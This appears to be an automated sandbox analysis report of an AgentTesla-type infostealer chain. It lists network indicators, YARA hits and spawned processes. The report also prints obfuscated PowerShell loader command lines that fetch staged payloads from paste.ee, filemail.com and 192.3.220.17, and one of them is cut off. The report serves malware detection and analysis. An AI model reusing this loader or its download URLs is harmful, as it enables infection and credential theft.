Source: Network traffic	Suricata IDS: 2049038 - Severity 1 - ET MALWARE ReverseLoader Reverse Base64 Loader In Image M2 : 142.215.209.72:443 -> 192.168.2.4:49734

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\wscript.exe

Network Connect: 23.186.113.60 443

Source: global traffic	HTTP traffic detected: GET /api/file/get?filekey=ESYTiTR3O03E5qrMnIyyWtYf5OMFU0makxMu0ePqRRJNicNjC36a8T2jGfWT6FEBj5s&pk_vid=342803d1cc4e3b80174066705080a5ef HTTP/1.1Host: 1007.filemail.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /base64444444444444444444444444444.txt HTTP/1.1Host: 192.3.220.17Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 23.186.113.60 23.186.113.60
Source: Joe Sandbox View	IP Address: 208.95.112.1 208.95.112.1

Source: Joe Sandbox View	JA3 fingerprint: 6271f898ce5be7dd52b0fc260d0662b3
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.17
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.17
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.17
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.17
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.17
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.17
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.17
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.17
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.17
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.17
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.17
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.17
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.17
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.17
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.17
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.17
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.17
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.17
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.17
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.17
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.17
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.17
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.17
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.17
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.17
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.17
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.17
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.17
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.17
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.17
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.17
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.17
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.17
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.17
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.17
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.17
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.17
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.17
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.17
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.17
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.17
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.17
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.17
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.17
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.17
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.17
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.17
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.17
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.17

Source: global traffic	HTTP traffic detected: GET /d/rrpcUbe1/0 HTTP/1.1Accept: /Accept-Language: en-chAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: paste.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /api/file/get?filekey=ESYTiTR3O03E5qrMnIyyWtYf5OMFU0makxMu0ePqRRJNicNjC36a8T2jGfWT6FEBj5s&pk_vid=342803d1cc4e3b80174066705080a5ef HTTP/1.1Host: 1007.filemail.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /base64444444444444444444444444444.txt HTTP/1.1Host: 192.3.220.17Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: paste.ee
Source: global traffic	DNS traffic detected: DNS query: 1007.filemail.com
Source: global traffic	DNS traffic detected: DNS query: ip-api.com
Source: global traffic	DNS traffic detected: DNS query: tse1.mm.bing.net

Source: powershell.exe, 00000005.00000002.1845461961.0000000004D11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.3.220.17
Source: powershell.exe, 00000005.00000002.1845461961.0000000004D11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.3.220.17/base64444444444444444444444444444.txt
Source: MSBuild.exe, 00000008.00000002.2936900255.00000000029E1000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000008.00000002.2936900255.0000000002AC5000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000008.00000002.2936900255.0000000002AAA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com
Source: powershell.exe, 00000005.00000002.1853721064.0000000005D1E000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000008.00000002.2936900255.00000000029E1000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000008.00000002.2934590223.0000000000402000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000008.00000002.2936900255.0000000002AAA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/line/?fields=hosting
Source: powershell.exe, 00000005.00000002.1853721064.000000000599B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000005.00000002.1845461961.0000000004A89000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000005.00000002.1845461961.0000000004931000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000008.00000002.2936900255.00000000029E1000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000008.00000002.2936900255.0000000002AAA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000005.00000002.1845461961.0000000004A89000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000005.00000002.1845461961.0000000004A89000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://1007.filemail.com
Source: powershell.exe, 00000005.00000002.1845461961.0000000004A89000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://1007.filemail.com/api/file/get?filekey=ESYTiTR3O03E5qrMnIyyWtYf5OMFU0makxMu0ePqRRJNicNjC36a8
Source: powershell.exe, 00000005.00000002.1853721064.0000000005D1E000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000008.00000002.2934590223.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://account.dyn.com/
Source: powershell.exe, 00000005.00000002.1845461961.0000000004931000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lBkq
Source: wscript.exe, 00000003.00000003.1739105346.0000000002B2D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.1738030076.0000000002B4D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.1739589814.0000000004F03000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000002.1743533343.0000000002B2D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://analytics.paste.ee
Source: wscript.exe, 00000003.00000003.1739105346.0000000002B2D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.1738030076.0000000002B4D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.1739589814.0000000004F03000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000002.1743533343.0000000002B2D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://analytics.paste.ee;
Source: wscript.exe, 00000003.00000003.1739105346.0000000002B2D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.1738030076.0000000002B4D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.1739589814.0000000004F03000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000002.1743533343.0000000002B2D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdnjs.cloudflare.com
Source: wscript.exe, 00000003.00000003.1739853725.0000000002AC2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000002.1743533343.0000000002B2D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdnjs.cloudflare.com;
Source: powershell.exe, 00000005.00000002.1853721064.000000000599B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000005.00000002.1853721064.000000000599B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000005.00000002.1853721064.000000000599B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: wscript.exe, 00000003.00000003.1739853725.0000000002AC2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000002.1743533343.0000000002B2D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fonts.googleapis.com
Source: wscript.exe, 00000003.00000003.1739853725.0000000002AC2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000002.1743533343.0000000002B2D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fonts.gstatic.com;
Source: powershell.exe, 00000005.00000002.1845461961.0000000004A89000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000005.00000002.1853721064.0000000005ADF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1875380332.00000000093E0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/dahall/taskscheduler
Source: wscript.exe, 00000003.00000003.1739537955.0000000005CE0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.1729587301.0000000005E23000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.1737440948.0000000005C2F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.1729945522.0000000005E37000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000002.1744752845.0000000005C1C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.1730057843.0000000005E40000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.1729587301.0000000005E37000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.1729993367.0000000005E40000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.1737440948.0000000005C62000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000002.1744856736.0000000005C5E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.1738271465.0000000005E40000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000002.1744856736.0000000005C62000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.1729776106.0000000005E34000.00000004.00000020.00020000.00000000.sdmp, 0[1].txt.3.dr	String found in binary or memory: https://github.com/koswald/VBScript
Source: wscript.exe, 00000003.00000003.1738271465.0000000005E40000.00000004.00000020.00020000.00000000.sdmp, 0[1].txt.3.dr	String found in binary or memory: https://github.com/koswald/VBScript/blob/master/ProjectInfo.vbs
Source: wscript.exe, 00000003.00000003.1739537955.0000000005CE0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.1737440948.0000000005C2F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.1729945522.0000000005E37000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000002.1744752845.0000000005C1C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.1730057843.0000000005E40000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.1729587301.0000000005E37000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.1729993367.0000000005E40000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.1738271465.0000000005E40000.00000004.00000020.00020000.00000000.sdmp, 0[1].txt.3.dr	String found in binary or memory: https://github.com/koswald/VBScript/blob/master/SetupPerUser.md
Source: wscript.exe, 00000003.00000003.1729945522.0000000005E37000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.1730057843.0000000005E40000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.1729587301.0000000005E37000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.1729993367.0000000005E40000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.1738271465.0000000005E40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/koswald/VBScriptp_
Source: wscript.exe, 00000003.00000002.1743609926.0000000002B37000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.1738450202.0000000002B36000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.1738030076.0000000002B35000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: powershell.exe, 00000005.00000002.1853721064.000000000599B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: wscript.exe, 00000003.00000002.1743609926.0000000002B37000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.1738450202.0000000002B36000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.1738030076.0000000002B35000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://paste.ee/
Source: wscript.exe, 00000003.00000002.1743172680.0000000002A50000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000002.1744856736.0000000005C62000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000002.1743533343.0000000002B07000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.1738691504.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, morninghtaaaafilex.hta, octupole.vbs.1.dr, misdivide.bat.0.dr	String found in binary or memory: https://paste.ee/d/rrpcUbe1/0
Source: wscript.exe, 00000003.00000002.1743609926.0000000002B37000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.1738450202.0000000002B36000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.1738030076.0000000002B35000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://paste.ee/d/rrpcUbe1/0$
Source: wscript.exe, 00000003.00000003.1742599910.0000000002A97000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000002.1743304735.0000000002A97000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://paste.ee/d/rrpcUbe1/0?
Source: wscript.exe, 00000003.00000002.1743609926.0000000002B37000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.1738450202.0000000002B36000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.1738030076.0000000002B35000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://paste.ee/d/rrpcUbe1/0B
Source: wscript.exe, 00000003.00000002.1743172680.0000000002A50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://paste.ee/d/rrpcUbe1/88
Source: wscript.exe, 00000003.00000003.1739105346.0000000002B2D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.1738030076.0000000002B4D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.1739589814.0000000004F03000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000002.1743533343.0000000002B2D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://secure.gravatar.com
Source: wscript.exe, 00000003.00000003.1739853725.0000000002AC2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000002.1743533343.0000000002B2D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://themes.googleusercontent.com
Source: wscript.exe, 00000003.00000003.1739105346.0000000002B2D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.1738030076.0000000002B4D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.1739589814.0000000004F03000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000002.1743533343.0000000002B2D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: wscript.exe, 00000003.00000003.1739853725.0000000002AC2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000002.1743533343.0000000002B2D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com;
Source: wscript.exe, 00000003.00000003.1739105346.0000000002B2D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.1738030076.0000000002B4D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.1739589814.0000000004F03000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000002.1743533343.0000000002B2D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49672
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855

Source: 8.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 8.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 5.2.powershell.exe.5e0e358.7.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 5.2.powershell.exe.5e0e358.7.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 5.2.powershell.exe.5e0e358.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 5.2.powershell.exe.5e0e358.7.raw.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 7624, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "$Codigo = 'J#Bl#Hg#a#Bh#HU#cwB0#GU#Z##g#D0#I##n#HQ#e#B0#C4#N##0#DQ#N##0#DQ#N##0#DQ#N##0#DQ#N##0#DQ#N##0#DQ#N##0#DQ#N##0#DQ#N##0#DQ#N##2#GU#cwBh#GI#Lw#3#DE#Lg#w#DI#Mg#u#DM#Lg#y#Dk#MQ#v#C8#OgBw#HQ#d#Bo#Cc#Ow#k#HM#bgBp#HQ#d#B5#C##PQ#g#CQ#ZQB4#Gg#YQB1#HM#d#Bl#GQ#I##t#HI#ZQBw#Gw#YQBj#GU#I##n#CM#Jw#s#C##JwB0#Cc#Ow#k#HM#a#Bv#HY#ZQBs#GE#cgBk#C##PQ#g#Cc#a#B0#HQ#c#Bz#Do#Lw#v#DE#M##w#Dc#LgBm#Gk#b#Bl#G0#YQBp#Gw#LgBj#G8#bQ#v#GE#c#Bp#C8#ZgBp#Gw#ZQ#v#Gc#ZQB0#D8#ZgBp#Gw#ZQBr#GU#eQ#9#EU#UwBZ#FQ#aQBU#FI#MwBP#D##MwBF#DU#cQBy#E0#bgBJ#Hk#eQBX#HQ#WQBm#DU#TwBN#EY#VQ#w#G0#YQBr#Hg#TQB1#D##ZQBQ#HE#UgBS#Eo#TgBp#GM#TgBq#EM#Mw#2#GE#O#BU#DI#agBH#GY#VwBU#DY#RgBF#EI#ag#1#HM#JgBw#Gs#XwB2#Gk#Z##9#DM#N##y#Dg#M##z#GQ#MQBj#GM#N#Bl#DM#Yg#4#D##MQ#3#DQ#M##2#DY#Nw#w#DU#M##4#D##YQ#1#GU#Zg#n#Ds#J#Bv#HI#ZwBh#G4#bwBs#GE#bgB0#Gg#YQBu#HU#bQ#g#D0#I#BO#GU#dw#t#E8#YgBq#GU#YwB0#C##UwB5#HM#d#Bl#G0#LgBO#GU#d##u#Fc#ZQBi#EM#b#Bp#GU#bgB0#Ds#J#Bz#HQ#aQBs#GI#ZQBu#GU#I##9#C##J#Bv#HI#ZwBh#G4#bwBs#GE#bgB0#Gg#YQBu#HU#bQ#u#EQ#bwB3#G4#b#Bv#GE#Z#BE#GE#d#Bh#Cg#J#Bz#Gg#bwB2#GU#b#Bh#HI#Z##p#Ds#J#Bn#GU#cgB1#G4#Z#Bp#GE#b#Bs#Hk#I##9#C##WwBT#Hk#cwB0#GU#bQ#u#FQ#ZQB4#HQ#LgBF#G4#YwBv#GQ#aQBu#Gc#XQ#6#Do#VQBU#EY#O##u#Ec#ZQB0#FM#d#By#Gk#bgBn#Cg#J#Bz#HQ#aQBs#GI#ZQBu#GU#KQ#7#CQ#ZQB0#Gg#bQBv#HY#bwBt#GU#cgBp#G4#ZQ#g#D0#I##n#Dw#P#BC#EE#UwBF#DY#N#Bf#FM#V#BB#FI#V##+#D4#Jw#7#CQ#bwBy#Gk#ZwBp#G4#YQBy#Hk#I##9#C##Jw#8#Dw#QgBB#FM#RQ#2#DQ#XwBF#E4#R##+#D4#Jw#7#CQ#bgBv#G4#YwBs#G8#d#Bo#Gk#bgBn#C##PQ#g#CQ#ZwBl#HI#dQBu#GQ#aQBh#Gw#b#B5#C4#SQBu#GQ#ZQB4#E8#Zg#o#CQ#ZQB0#Gg#bQBv#HY#bwBt#GU#cgBp#G4#ZQ#p#Ds#J#Bt#GU#d#Bv#G4#eQBt#HM#I##9#C##J#Bn#GU#cgB1#G4#Z#Bp#GE#b#Bs#Hk#LgBJ#G4#Z#Bl#Hg#TwBm#Cg#J#Bv#HI#aQBn#Gk#bgBh#HI#eQ#p#Ds#J#Bu#G8#bgBj#Gw#bwB0#Gg#aQBu#Gc#I##t#Gc#ZQ#g#D##I##t#GE#bgBk#C##J#Bt#GU#d#Bv#G4#eQBt#HM#I##t#Gc#d##g#CQ#bgBv#G4#YwBs#G8#d#Bo#Gk#bgBn#Ds#J#Bu#G8#bgBj#Gw#bwB0#Gg#aQBu#Gc#I##r#D0#I##k#GU#d#Bo#G0#bwB2#G8#bQBl#HI#aQBu#GU#LgBM#GU#bgBn#HQ#a##7#CQ#cwBw#GE#YwBp#GU#cg#g#D0#I##k#G0#ZQB0#G8#bgB5#G0#cw#g#C0#I##k#G4#bwBu#GM#b#Bv#HQ#a#Bp#G4#Zw#7#CQ#cwB1#GI#agBl#GM#d##g#D0#I##k#Gc#ZQBy#HU#bgBk#Gk#YQBs#Gw#eQ#u#FM#dQBi#HM#d#By#Gk#bgBn#Cg#J#Bu#G8#bgBj#Gw#bwB0#Gg#aQBu#Gc#L##g#CQ#cwBw#GE#YwBp#GU#cg#p#Ds#J#Bn#HI#eQBs#Gw#dQBz#C##PQ#g#Fs#UwB5#HM#d#Bl#G0#LgBD#G8#bgB2#GU#cgB0#F0#Og#6#EY#cgBv#G0#QgBh#HM#ZQ#2#DQ#UwB0#HI#aQBu#Gc#K##k#HM#dQBi#Go#ZQBj#HQ#KQ#7#CQ#YgBh#GM#awBj#Gg#YQBu#G4#ZQBs#HM#I##9#C##WwBT#Hk#cwB0#GU#bQ#u#FI#ZQBm#Gw#ZQBj#HQ#aQBv#G4#LgBB#HM#cwBl#G0#YgBs#Hk#XQ#6#Do#T#Bv#GE#Z##o#CQ#ZwBy#Hk#b#Bs#HU#cw#p#Ds#J#Bp#G4#YwBs#GU#I##9#C##WwBk#G4#b#Bp#GI#LgBJ#E8#LgBI#G8#bQBl#F0#LgBH#GU#d#BN#GU#d#Bo#G8#Z##o#Cc#VgBB#Ek#Jw#p#C4#SQBu#HY#bwBr#GU#K##k#G4#dQBs#Gw#L##g#Fs#bwBi#Go#ZQBj#HQ#WwBd#F0#I#B##Cg#J#Bz#G4#aQB0#HQ#eQ#s#Cc#Jw#s#Cc#Jw#s#Cc#Jw#s#Cc#TQBT#EI#dQBp#Gw#Z##n#Cw#Jw#n#Cw#Jw#n#Cw#Jw#n#Cw#Jw#n#Cw#Jw#n#Cw#Jw#n#Cw#Jw#n#Cw#Jw#n#Cw#Jw#n#Cw#Jw#n#Ck#KQ#='; $OWjuxd = [System.Text.Encoding]::Unicode.GetString([Convert]::From
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "$Codigo = 'J#Bl#Hg#a#Bh#HU#cwB0#GU#Z##g#D0#I##n#HQ#e#B0#C4#N##0#DQ#N##0#DQ#N##0#DQ#N##0#DQ#N##0#DQ#N##0#DQ#N##0#DQ#N##0#DQ#N##0#DQ#N##2#GU#cwBh#GI#Lw#3#DE#Lg#w#DI#Mg#u#DM#Lg#y#Dk#MQ#v#C8#OgBw#HQ#d#Bo#Cc#Ow#k#HM#bgBp#HQ#d#B5#C##PQ#g#CQ#ZQB4#Gg#YQB1#HM#d#Bl#GQ#I##t#HI#ZQBw#Gw#YQBj#GU#I##n#CM#Jw#s#C##JwB0#Cc#Ow#k#HM#a#Bv#HY#ZQBs#GE#cgBk#C##PQ#g#Cc#a#B0#HQ#c#Bz#Do#Lw#v#DE#M##w#Dc#LgBm#Gk#b#Bl#G0#YQBp#Gw#LgBj#G8#bQ#v#GE#c#Bp#C8#ZgBp#Gw#ZQ#v#Gc#ZQB0#D8#ZgBp#Gw#ZQBr#GU#eQ#9#EU#UwBZ#FQ#aQBU#FI#MwBP#D##MwBF#DU#cQBy#E0#bgBJ#Hk#eQBX#HQ#WQBm#DU#TwBN#EY#VQ#w#G0#YQBr#Hg#TQB1#D##ZQBQ#HE#UgBS#Eo#TgBp#GM#TgBq#EM#Mw#2#GE#O#BU#DI#agBH#GY#VwBU#DY#RgBF#EI#ag#1#HM#JgBw#Gs#XwB2#Gk#Z##9#DM#N##y#Dg#M##z#GQ#MQBj#GM#N#Bl#DM#Yg#4#D##MQ#3#DQ#M##2#DY#Nw#w#DU#M##4#D##YQ#1#GU#Zg#n#Ds#J#Bv#HI#ZwBh#G4#bwBs#GE#bgB0#Gg#YQBu#HU#bQ#g#D0#I#BO#GU#dw#t#E8#YgBq#GU#YwB0#C##UwB5#HM#d#Bl#G0#LgBO#GU#d##u#Fc#ZQBi#EM#b#Bp#GU#bgB0#Ds#J#Bz